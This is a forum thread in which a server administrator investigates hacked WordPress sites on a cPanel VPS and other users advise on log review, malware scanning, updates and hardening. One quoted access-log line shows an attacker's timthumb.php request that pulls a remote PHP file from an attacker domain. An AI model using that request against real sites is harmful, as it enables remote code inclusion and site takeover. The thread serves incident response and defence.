Troubleshooting Wordpress Hacks on Linux Server
Hello All,
First of all, I am sorry if I am on the wrong category but thought this is the place this should go. As for my situation, I am hosting multiple Wordpress instances on my VPS along with multiple non-Wordpress websites. In the last 1-2 days, I have started too see some of my Wordpress sites are being hacked. I have tried to troubleshoot this myself with some methods but still not sure what is the root cause of this. ./accountA/public_html/wp-content/themes/twentyeleven/404.php ./accountA/public_html/wp-content/themes/twentyeleven/index.php ./accountB/public_html/wp-content/themes/brkciv/404.php ./accountC/public_html/wp-content/themes/rustic/404.php ./accountC/public_html/wp-content/themes/rustic/index.php ./accountD/public_html/wp-content/themes/fullfilmarsivi/404.php ./accountD/public_html/wp-content/themes/fullfilmarsivi/index.php (Above are some modified files by attacker(s)) From what I see, only the theme files modified and the attacker(s) was able to index the site(s) with their content and also I can see some changes on Wordpress database, they seem to changed the admin passwd and email directly from the database. The server is running cPanel/WHM and I can confirm that there has not been any activity neither through cPanel (I don't see any login activity etc) nor through shell(SSH). (I don't think they are smart enough to hack these sites without leaving any logs of themselves. I also think that, if there was a server-side vulnerability, their damage would not be limited to this.) There is no problems with non-Wordpress sites. The server is running suPHP with suEXEC enabled. I first noticed this hacking problem with a mail script placed on server under a Wordpress site's plugins/ folder, which was sending out SPAM emails. I would appreciate any comments/opinions. Thank you. |
Wrt mitigation, is this the same server as in this thread?
- Have you followed the advice given at http://codex.wordpress.org/Hardening_WordPress ? - Are all instances of WP up to date? I mean do they run the version that WordPress itself marks "current"? - Does that apply to any official or 3rd party plugins and themes as well? - What do the web server logs say before and around the time of these changes? (Use Logwatch for a quick first report.) |
Hi unSpawn, thanks for the response. This is not the server mentioned in that thread.
1. Almost all steps outlined at http://codex.wordpress.org/Hardening_WordPress are taken except some advanced ones like denying access to wp-config and different database table prefix etc. 2. No, this is what I doubt about. Most of the installations are not up to date. Most of them are still running Wordpress 3.5 although 3.5.1 is already out. I have tried upgrading one of the installations have not noticed any problem so far for about ~36 hours. But can I be sure that this was happened because of an old version's vulnerability? 3. Appears to be applying to any theme no matter official or third party; Quote:
This feels really frustrating and shows that I need lots of things to learn to keep this servers running securely and properly. I have now chmodded ln as 750. Does this help to prevent from this kind of attack in the future? Quote:
|
Quote:
Quote:
Quote:
Unfortunately combating all of this and advertising doing things "the Linux way" appears to be even harder given providers, resellers and (theme, plugin and software) vendors who don't care sh*t (except for taking money) and users ranging from the uninformed to the criminally negligent... Quote:
Please check: - not only which stale WP versions are used but also the state of themes and plugins (maybe there's a plugin that enumerates this?), - virtual and local user account activity over the past weeks (including 'lastlog', 'last -wai', user shell history, system and daemon logs for SSH, FTP WebDAV and other means of user access, accounts being used from "unexpected" IP addresses, password changes made to accounts), - any new and modified files in users homes doc roots including includes, .htaccess files, files with wrong (see 'file') extensions (do not exclude non-WP sites), - run LMD on the users homes and doc roots, - install a recent, maintained WordPress "security" plugin in each site and run it, Quote:
- Has there been any probing for the cPanel URL or related files? - Does SSH allow for only pubkey auth or does it allow password(-less?) logins? - Is anonymous FTP access possible? - And please run all logs, at least over the past month, through Logwatch. It really is the easiest way to generate leads to check. |
Hi unSpawn, as always thank you for the helps. Of course breakable plugins, themes etc are factors that might prevent us thinking upgrading Wordpress instances, but the actual reason behind this is our laziness to be honest. When we become serious about every single point whether important or not, we all here will be happy I believe, hopefully. :)
I have checked logs but I think because of cPanel I will not be able to determine what "exactly" caused this since it appears that cPanel deletes domain specific access logs every day as default, each 24hrs. (I've disabled this option from cPanel, although I hope not to need them in the future.) What I did was checking suPHP logs where I can see the first uploaded scripts running on server. (I have checked firewall, cPanel, FTP logs and found nothing useful. - No FTP action for about last 2 weeks. - I also receive a logwatch report each day from this server automatically and see nothing extraordinary.) There is also no any user has shell access. Code:
[Sun Jan 27 11:43:51 2013] [info] Executing "/home/accountname/public_html/wp/wp-admin/theme-editor.php" as UID 573, GID 571 Code:
Domain-based access log --->>> ATTACKER_IP - - [30/Jan/2013:09:48:47 -0700] "GET /wp-content/themes/Aggregate/timthumb.php?src=http://img.youtube.com.attackers_domain_name/inc.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" Code:
All these files/directories below are located under wp-content/themes/workaholic/ . TIA. :) |
Quote:
Quote:
Changes you see now may just be collateral, effects caused by earlier alterations like for example FTP credentials having been leeched way before from an infected windows machine, having used default or ill-advised changed settings, weak (service) passwords, vulnerable plugins or themes allowing a perp to modify the database directly. 0) If you want to continue this way then before you continue realize this is time-consuming. And given the lack of logs there is no guarantee it will be conclusive. Continue? OK. Gathering as much nfo as possible in the shortest amount of time is important so you really have to think ahead. For example when you say: Quote:
The same goes for saying: Quote:
Quote:
Then there's some questions that were not explicitly answered: - Which WP, themes and plugin versions are used, - Which new and modified files in users homes doc roots including includes, .htaccess files, files with wrong (see 'file') extensions (and do not exclude non-WP sites), - The result from running LMD on the users homes and doc roots, - The result from running a WordPress "security" plugin in each site, - Does (or did) SSH allow for only pubkey auth or does it allow password(-less?) logins? - Results from Antivirus-scanning client machines. 1) If you do -=not=- want to continue this way then I strongly suggest you follow the WP site "I have been hacked, now what?"-like documentation. In short: - remove the complete WP installations, - change all passwords, - ensure the LAMP setup is as the WP setup and hardening documentation advises, - ensure system, daemon and WP logging and alerting is up to snuff, - install everything WP anew, - ensure you only load supported, maintained themes and plugins, - don't restore any content without scrutinizing it first, - watch for vulnerability and upgrade alerts, - facilitate testing upgrades and - watch over the result (aka your investment) closely. *Addendum: wrt cPanel / EasyApache / ln see this (external) thread? |
My 2 cents:
Wordpress is actually pretty secure, most of the recent cases I've seen are due to vulnerable themes, including themes that are "up to date" and haven't been patched by the developer. Wordpress can check their own code, but they can't possibly check every theme and plugin, so that's where more of the risk will lie. And since unSpawn brought up cpanel, I'm going to add, make sure you have sha512 set as your password hashing algorithm in /etc/sysconfig/authconfig (most cpanel server's have md5) Otherwise (if apache is running as the user) and your wordpress (or anything else) gets hacked, your hashes will be available in /home/user/etc/domain/shadow, which, if md5, can easily be brute forced/rainbow tabled depending on length and/or complexity. |
Hiya unSpawn & abefroman and other folks!
Sorry since I could not update this thread for a few days now as I had lots of stuff going on including this one. I believe we recovered fine from this situation. Quote:
Quote:
Processing Initiated: Tue Jan 29 03:07:03 2013 Date Range Processed: yesterday ( 2013-Jan-28 ) Period is day. Detail Level of Output: 10 Type of Output/Format: mail / text And for instance logwatch sshd section; Code:
--------------------- SSHD Begin ------------------------ Quote:
1. index file of each template. 2. 404 file of each template. And he also did replaced admin user's details from each mysql database(under wp_users table) all with same details even with same password hashes. (Probably just a script) LMD only found the shells those were placed under infected account. No other suspicious files. All cleaned. (I backed those up prior to cleaning for a further investigation.) SSH is running with regular password authentication on a non-standard port. All client machines seems clean. Luckily, I had multiple backups for all accounts from previous days/weeks and was able to compare/replace files. Here's what I did; 1. I have replaced all changed files with original ones from original backup files. (I have investigated each account individually for recently modified files, searched for modified files in last 1, 2 and 3 days and compared these files with the ones on backups.) 2. I have updated wp_users tables of each infected Wordpress instance by replacing all modified values with their original ones. (The admin username, password and email addresses were changed. I have changed all these with their original values. I have even used a different/new password hence a different hash.) The keys defined in wp-config.php files have also been changed with different ones. 3. Changed all database passwords of infected Wordpress instances. 4. Updated the Wordpress versions of each instance along with plugins, themes etc. I have also changed the theme of infected one. 5. I still keep monitoring these sites closely for possible issues. Quote:
Finally, many lessons learned, hopefully. :) We should keep all Wordpress instances, plugins, themes up-to-date all the time to prevent from possible security vulnerabilities. I have also seen that I should harden this server a little more. (By the way, I was able to apply the patch at https://forums.cpanel.net/f185/how-p...tml#post996441 (this prevents users from reading each other's php files) and such a problem on just a single Wordpress instance should not cause that much damage in the future, hopefully. I have also searched and found that the symlinking issue can only be prevented from kernel-side. I am sure there are still some other vulnerabilities on server that I am probably not aware of, especially in terms of account isolation and I am considering CloudLinux or grsecurity for this server(and of course I will not be limited to them, I will be working on them internally before putting them on production.). Any comments, opinions, experiences with them? TIA. |
Thanks for the write up, I appreciate it. Events on their own can point to specific vulnerabilities. For example being able to drop a file (tar ball, shell, whatever else) could point to an arbitrary file upload vulnerability and being able to create symbolic links w/o file system access could point to an arbitrary command execution vulnerability. The point is to link events together to get the big picture. Phrased differently the problems I'm still having with this situation are the lack of disclosure (WP and theme versions) and the lack of a time line of events (as in data gathered from say suexec and {access,error}_logs) which could pinpoint (or exclude) vulnerabilities and attack vector(s). Without that kind of insight there's ("chicken and egg"-wise) nothing to support any "symlink vulnerability" claims IMHO.
From you saying "the symlinking issue can only be prevented from kernel-side" I know you've been reading Webhostingtalk. While it is populated with people who have lots of experience in terms of hosting, threads I've read show the quality of "advice" can vary wildly and almost nobody there uses a structured approach towards incident handling. This often leads to "solutions" being presented without any analysis or reasoning. That makes it harder to find out if "advice" is based on facts or hearsay and it applies to a particular situation or not. CloudLinux is a commercial entity. It has to convince potential customers to buy a license. Convincing means using appropriate marketing language. This may deliberately obfuscate or otherwise make it difficult to determine whatever underlying technology is used exactly. And IIGC there seems to be, or has been, a hint of controversy (or at least clearly stalling) wrt GPL adherence (LKML IIRC) wrt source disclosure. And thats all the comments you'll get from me wrt CloudLinux. There is no doubt GRSecurity improves security. The effect it may have on your customers trust and confidence (and therefore in turn on your business) could certainly justify its price tag wrt learning curve, staging area testing and production implementation. |
All times are GMT -5. The time now is 10:46 PM. |